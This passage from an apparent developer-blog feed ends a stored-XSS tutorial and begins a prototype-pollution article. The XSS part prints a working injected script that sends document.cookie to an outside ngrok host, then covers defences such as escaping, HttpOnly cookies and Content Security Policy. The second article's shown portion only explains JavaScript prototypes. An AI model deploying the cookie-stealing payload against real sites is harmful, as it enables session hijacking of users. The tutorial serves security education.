&lt;p&gt;Now let’s understand exactly what the comment did. The &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag does loads the image provided in the &lt;code&gt;src&lt;/code&gt; url and when the image has been loaded it executes the javascript defined inside the &lt;code&gt;onload&lt;/code&gt; attribute. &lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;The above javascript code creates a &lt;code&gt;script&lt;/code&gt; element and sets its &lt;code&gt;src&lt;/code&gt; attribute to our malicious url attaching the cookie value as the query parameter of the request. Then this script element is appended to the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; of the document. &lt;/p&gt;

&lt;p&gt;This comment is saved in the database, so every time the page is loaded this comment is fetched and executed. Every time the &lt;code&gt;onload&lt;/code&gt; script is executed appending a malicious script tag to our document. &lt;br&gt;
This type of XSS is called &lt;code&gt;stored XSS&lt;/code&gt; which we defined earlier above. The malicious piece of comment is stored in the target server and is executed on every client which passes by. &lt;/p&gt;

&lt;p&gt;Now, you might wonder why the Same-Origin Policy (SOP) doesn't prevent this attack. The SOP is designed to prevent scripts from one origin from accessing data belonging to another origin. However, in this case, the SOP doesn't come into play for two reasons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The initial script injection happens within the same origin. The malicious code is part of the page content, so it's considered to be from the same origin as the rest of the page.&lt;/li&gt;
&lt;li&gt;While the injected script does make a request to a different origin (our ngrok URL), the SOP allows &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags to load JavaScript from different origins. This is a necessary feature for many legitimate use cases, such as loading libraries from CDNs.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The SOP would prevent the script from reading the response from the different origin, but in this attack, we don't need to read the response. We've already accomplished our goal by sending the cookie data in the request URL.&lt;/p&gt;


&lt;h2&gt;
  
  
  XSS in the wild
&lt;/h2&gt;

&lt;p&gt;Think XSS is just a theoretical threat? Think again. Cross-Site Scripting has left its mark on some of the biggest names in tech. Let's take a tour of XSS attacks that shook the digital world and proved that even the mightiest can fall to a few lines of malicious code. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://en.wikipedia.org/wiki/Samy_%28computer_worm%29" rel="noopener noreferrer"&gt;Samy&lt;/a&gt;, the fastest spreading virus ever, was an XSS worm that was designed to propagate across MySpace in 2005, which affected 1 million users in the first 20 hours.&lt;/li&gt;
&lt;li&gt;Even tech giants aren't immune. Google's Search page was found to have an &lt;a href="https://bughunters.google.com/learn/videos/video-writeup/4605649287380992/xss-in-google-search" rel="noopener noreferrer"&gt;XSS vulnerability&lt;/a&gt; that could potentially allow attackers to steal users' search history and other sensitive information.&lt;/li&gt;
&lt;li&gt;A major &lt;a href="https://stackoverflow.com/questions/3762746/todays-xss-onmouseover-exploit-on-twitter-com" rel="noopener noreferrer"&gt;XSS vulnerability on Twitter's website&lt;/a&gt; allowed attackers to create tweets with malicious JavaScript. When users hovered their mouse over the tweet, it would automatically retweet itself, leading to a rapid spread of the malicious code across the platform.&lt;/li&gt;
&lt;li&gt;Twitch also fell victim to a significant XSS vulnerability that was exploited in real-time during a livestream. This incident is particularly noteworthy because it happened &lt;a href="https://www.youtube.com/watch?v=2GtbY1XWGlQ" rel="noopener noreferrer"&gt;live in front of thousands of viewers&lt;/a&gt;, dramatically demonstrating the potential of XSS attacks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  XSS Mitigation
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm7gm41qfoqtk9a2db366.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm7gm41qfoqtk9a2db366.png" alt="XSS mitigation meme"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we know how easy it is to exploit an XSS vulnerability and the damage it can cause, let’s look at how we can avoid being victims of these attacks.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Input Validation:&lt;/strong&gt; It is extremely important to validate the data we take from the user before storing that value in the database or injecting it into our DOM. It is also recommended to validate the data we fetch from the database. So if database were to get compromised and some malicious data were to be inserted in it, we would filter it out before serving it to the end user. &lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Escape User-Controlled input HTML:&lt;/strong&gt; This technique involves converting potentially dangerous characters in user-controlled data into their safe HTML entity equivalents before rendering them on a web page. Here's why it's important and how it works:&lt;br&gt;
a. Identifying Dangerous Characters: Characters like &amp;lt;, &amp;gt;, &amp;amp;, ", and ' can be interpreted as HTML structure by browsers. When these characters come from user input, they pose a risk of XSS.&lt;br&gt;
b. The Escaping Process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Convert &amp;lt; to &lt;code&gt;&amp;amp;lt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Convert &amp;gt; to &lt;code&gt;&amp;amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Convert &amp;amp; to &lt;code&gt;&amp;amp;amp;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Convert " to &lt;code&gt;&amp;amp;quot;&lt;/code&gt; (Inside attribute values)&lt;/li&gt;
&lt;li&gt;Convert ' to &lt;code&gt;&amp;amp;#39;&lt;/code&gt; (Inside attribute values)
For example a user input of &lt;code&gt;&amp;lt;script src="http://malicious.com/xss.js"&amp;gt;&lt;/code&gt; shall be escaped to &lt;code&gt;&amp;amp;lt;script src=&amp;amp;quot;http://mal.js&amp;amp;quot;&amp;amp;gt;&lt;/code&gt;. 
We need not do this ourselves but rely on tools like &lt;a href="https://lodash.com/docs/#escape" rel="noopener noreferrer"&gt;lodash.escape&lt;/a&gt; and &lt;a href="https://www.npmjs.com/package/dompurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyhbo6e0tq4drjdijndmr.png" alt="All user input is evil"&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Securing Cookies:&lt;/strong&gt; Set the &lt;code&gt;HttpOnly&lt;/code&gt; flag on cookies to prevent JavaScript access.With this flag set to true, we wouldn’t have been able to perform the above attack as the malicious javascript wouldn’t be able to read the cookies. We should also set the &lt;code&gt;Secure&lt;/code&gt; flag to ensure that the cookies are only ever transmitted over https. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Content Security Policy (CSP):&lt;/strong&gt; Content Security Policy (CSP) is a security mechanism designed to mitigate cross-site scripting (XSS) attacks and other code injection vulnerabilities. It works by allowing web developers to specify which sources of content are allowed to be loaded and executed on a web page.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here's how CSP helps mitigate XSS:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Restricting content sources: CSP allows developers to whitelist specific sources for various types of content, such as scripts, stylesheets, images, and fonts. By limiting these sources, it becomes much harder for attackers to inject malicious code from unauthorized domains.&lt;/li&gt;
&lt;li&gt;Disabling inline scripts: CSP can be configured to disallow inline scripts, which are a common vector for XSS attacks. This forces all JavaScript to be loaded from external files, making it easier to control and audit.&lt;/li&gt;
&lt;li&gt;Disabling eval() and similar functions: CSP can prevent the use of eval() and other potentially dangerous JavaScript functions that can execute dynamically generated code.&lt;/li&gt;
&lt;li&gt;Reporting violations: CSP can be set up to report policy violations to a specified URL, allowing developers to monitor potential attacks and adjust their policies accordingly.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To implement CSP, you add the Content-Security-Policy HTTP header to your web server's responses. Here's a basic example:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;This policy allows content to be loaded only from the same origin ('self') by default, and scripts to be loaded from the same origin and a trusted CDN.&lt;/p&gt;
&lt;h2&gt;
  
  
  That's it
&lt;/h2&gt;

&lt;p&gt;And there you have it, folks! We've journeyed through the waters of Cross-Site Scripting, stolen some cookies (the digital kind, sadly), and even impersonated a user. Who knew being a temporary identity thief could be so educational?&lt;/p&gt;

&lt;p&gt;If you think you are ready, we got a challenge for you. Why don't you use the tools you learned here and try to break our app.✊&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/middlewarehq/middleware" class="ltag_cta ltag_cta--branded" rel="noopener noreferrer"&gt;⚡️ Try and break the Middleware repo!&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;If you enjoyed this post and learned something new consider giving our opensource repo a star. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/middlewarehq/middleware" class="ltag_cta ltag_cta--branded" rel="noopener noreferrer"&gt;🌟 Star us on Github! 🌟&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;Until our next adventure in the wild world of web exploits, keep your code clean, your inputs sanitised, and your cookies safely in the jar. Stay curious, stay safe, and may your browsers always be XSS-free!&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/middlewarehq" rel="noopener noreferrer"&gt;
        middlewarehq
      &lt;/a&gt; / &lt;a href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;
        middleware
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      ✨ Open-source DORA metrics platform for engineering teams ✨
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;
&lt;a href="https://www.middlewarehq.com/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fmiddlewarehq%2Fmiddleware%2Fraw%2Fmain%2Fmedia_files%2Flogo.png" alt="Middleware Logo" width="300px"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Open-source engineering management that unlocks developer potential&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;
&lt;a href="https://github.com/middlewarehq/middleware/actions/workflows/build.yml" rel="noopener noreferrer"&gt;&lt;img alt="continuous integration" src="https://camo.githubusercontent.com/d72013fe354cb76bdb62fae188d011c4d1bce7723189bacad6cbde6387cf52e6/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f616374696f6e732f776f726b666c6f772f7374617475732f6d6964646c657761726568712f6d6964646c65776172652f6275696c642e796d6c3f6272616e63683d6d61696e266c6162656c3d6275696c64267374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;a href="https://github.com/middlewarehq/middleware/graphs/commit-activity" rel="noopener noreferrer"&gt;&lt;img alt="Commit activity per month" src="https://camo.githubusercontent.com/b694441288287fd6f4c8750f3887fcc6853aef9bfc84ee8a0e1e490a7633639a/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636f6d6d69742d61637469766974792f6d2f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;a href="https://github.com/middlewarehq/middleware/graphs/contributors" rel="noopener noreferrer"&gt;&lt;img alt="contributors" src="https://camo.githubusercontent.com/15f7e201a0b0e240425157b1a7251f24a91dcd6b6bbec76af4ad66efda00eeba/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f636f6e7472696275746f72732d616e6f6e2f6d6964646c657761726568712f6d6964646c65776172653f636f6c6f723d79656c6c6f77267374796c653d666f722d7468652d6261646765"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://opensource.org/licenses/Apache-2.0" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/44fae73fb8fb80dc9f5673dc4e1d0e57b1ac81da1166a70c8a5ce52bb39ed67f/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f617061636865253230322e302d707572706c652e7376673f7374796c653d666f722d7468652d6261646765266c6162656c3d6c6963656e7365" alt="license"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/eab8dfd78113b2679d98f9f33a66e3a157276c68cc4cf3541fa1287f4dddb379/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765"&gt;&lt;img src="https://camo.githubusercontent.com/eab8dfd78113b2679d98f9f33a66e3a157276c68cc4cf3541fa1287f4dddb379/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6d6964646c657761726568712f6d6964646c65776172653f7374796c653d666f722d7468652d6261646765" alt="Stars"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://mhq.link/oss-community" rel="nofollow noopener noreferrer"&gt;Join our Open Source Community&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/middlewarehq/middleware/blob/main/media_files/banner.gif"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2Fmiddlewarehq%2Fmiddleware%2Fraw%2Fmain%2Fmedia_files%2Fbanner.gif" alt="Middleware Opensource"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Introduction&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Middleware&lt;/strong&gt; is an open-source tool designed to help engineering leaders measure and analyze the effectiveness of their teams using the &lt;a href="https://dora.dev" rel="nofollow noopener noreferrer"&gt;DORA metrics&lt;/a&gt;. The DORA metrics are a set of &lt;a href="https://dora.dev/guides/dora-metrics-four-keys/" rel="nofollow noopener noreferrer"&gt;four key values&lt;/a&gt; that provide insights into software delivery performance and operational efficiency.&lt;/p&gt;

&lt;p&gt;They are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deployment Frequency&lt;/strong&gt;: The frequency of code deployments to production or an operational environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lead Time for Changes&lt;/strong&gt;: The time it takes for a commit to make it into production.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mean Time to Restore&lt;/strong&gt;: The time it takes to restore service after an incident or failure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Change Failure Rate&lt;/strong&gt;: The percentage of deployments that result in failures or require remediation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Table of Contents&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/middlewarehq/middleware#introduction" rel="noopener noreferrer"&gt;Middleware - Open Source&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-features" rel="noopener noreferrer"&gt;Features&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/middlewarehq/middleware#-quick-start" rel="noopener noreferrer"&gt;Quick Start&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-installing-middleware" rel="noopener noreferrer"&gt;Installing Middleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-troubleshooting" rel="noopener noreferrer"&gt;Troubleshooting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;a href="https://github.com/middlewarehq/middleware#-developer-setup" rel="noopener noreferrer"&gt;Developer Setup&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-using-gitpod" rel="noopener noreferrer"&gt;Using Gitpod&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-using-docker" rel="noopener noreferrer"&gt;Using Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-manual-setup" rel="noopener noreferrer"&gt;Manual Setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-usage" rel="noopener noreferrer"&gt;Usage&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#-how-we-calculate-dora-metrics" rel="noopener noreferrer"&gt;How we Calculate DORA&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-roadmap" rel="noopener noreferrer"&gt;Roadmap&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href="https://github.com/middlewarehq/middleware#%EF%B8%8F-contributing-guidelines" rel="noopener noreferrer"&gt;Contributing guidelines&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;…&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Exploits Ep - 1: From Prototype Pollution to a 100% Discount</title>
      <dc:creator>Adnan Hashmi</dc:creator>
      <pubDate>Sat, 03 Aug 2024 07:19:24 +0000</pubDate>
      <link>https://dev.to/middleware/exploit-ep-1-from-prototype-pollution-to-a-100-discount-4p93</link>
      <guid>https://dev.to/middleware/exploit-ep-1-from-prototype-pollution-to-a-100-discount-4p93</guid>
      <description>&lt;p&gt;Imagine this: You're browsing your &lt;a href="https://prototype-pollution-two.vercel.app/" rel="noopener noreferrer"&gt;favourite online shop&lt;/a&gt;, adding those must-have items to your cart, when suddenly, a hacker decides to crash your shopping party. But instead of stealing your credit card info or adding a thousand rubber ducks to your order – they pollute your shopping cart's prototype! Sounds like a weird sci-fi plot, right? Well, welcome to the world of prototype pollution, where hackers can turn your JavaScript objects into their personal playground. In this blog post, we're going to dive into prototype pollution, using a vulnerable e-commerce site as our guinea pig. So, grab your hacker hoodies, and let's explore how a simple shopping cart can turn into a hacker's paradise!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmfdsiako8aaycp6a5jf.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjmfdsiako8aaycp6a5jf.gif" alt="cat typing"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;P.S.: After you've become a master at breaking JS, try out your skills on &lt;a href="https://github.com/middlewarehq/middleware" rel="noopener noreferrer"&gt;our repo&lt;/a&gt;, and maybe give us a star?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/middlewarehq/middleware" class="ltag_cta ltag_cta--branded" rel="noopener noreferrer"&gt;🌟 Star us on Github! 🌟&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;But before we HACK, here is a small refresher on javascript objects and prototypes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are Prototypes in Javascript
&lt;/h2&gt;

&lt;p&gt;Almost everything in Javascript is an object and every object has a built-in property called &lt;code&gt;prototype&lt;/code&gt;. The &lt;code&gt;prototype&lt;/code&gt; itself is an object and serves as a fallback source for properties and methods. What that means is, when, javascript runtime doesn't find the property in the object, it checks for the property in the prototype of the object. If we want a shared behaviour between multiple objects we define that behaviour in the prototype of the constructor function instead of defining that behaviour in all the objects. Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;display&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;price&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;product_one&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;headphones&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;product_two&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Mic&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;product_one&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;product_two&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;display&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In the above example, the objects &lt;code&gt;product_one&lt;/code&gt; and &lt;code&gt;product_two&lt;/code&gt; are derived from the function constructor &lt;code&gt;Product&lt;/code&gt;. When we call the &lt;code&gt;display()&lt;/code&gt; function on the objects the javascript runtime first checks the object if they contain the method called &lt;code&gt;display&lt;/code&gt;. When it doesn't find it in the object itself, the runtime checks for this method in the prototype (&lt;code&gt;__proto__&lt;/code&gt;) object. The &lt;code&gt;__proto__&lt;/code&gt; property of an object links it to the &lt;code&gt;prototype&lt;/code&gt; property of its function constructor. So &lt;code&gt;Product.prototype === product_one.__proto__&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This can also be checked by logging the products and checking their prototype object.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq8415fbe17lsllk1fk7g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq8415fbe17lsllk1fk7g.png" alt="Logging objects in console"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We see that the object &lt;code&gt;product_one&lt;/code&gt; itself doesn't contain a method called &lt;code&gt;display&lt;/code&gt; but its Prototype contains it. You may also notice that there is another Prototype nested inside the  prototype of &lt;code&gt;product_one&lt;/code&gt;. This is where things get a little interesting and its precisely this feature that opens doors to potential exploits. Let's explore this next!&lt;/p&gt;
&lt;h2&gt;
  
  
  Prototype Chaining and Prototype Pollution
&lt;/h2&gt;

&lt;p&gt;Inheritance in javascript is implemented using objects. Each object has an internal link to a prototype object which has a prototype of its own and so on until an object is reached with &lt;code&gt;null&lt;/code&gt; as its prototype.&lt;/p&gt;

